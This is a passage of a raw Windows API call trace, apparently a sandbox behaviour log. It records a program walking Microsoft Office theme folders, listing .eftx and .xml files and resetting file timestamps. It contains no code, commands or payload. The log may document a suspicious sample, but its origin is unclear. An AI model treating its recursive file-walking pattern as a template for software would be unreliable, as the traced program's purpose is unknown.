ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 0 [0068.831] GetLastError () returned 0x12 [0068.831] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102bb60) returned 1 [0068.831] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0068.832] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102ba58) returned 1 [0068.832] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102b950) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="")) returned 1 [0068.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0068.833] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0068.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1030a28 [0068.833] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1030a28, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1030a28, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0068.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030a28) returned 1 [0068.833] NtClose (Handle=0x198) returned 0x0 [0068.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102b950) returned 1 [0068.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0068.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102b950 [0068.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.833] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102ba58 [0068.833] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0068.872] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.919] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bb60 [0068.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009ba8 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1023da8 [0068.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.919] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009bc8 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1023eb0 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] 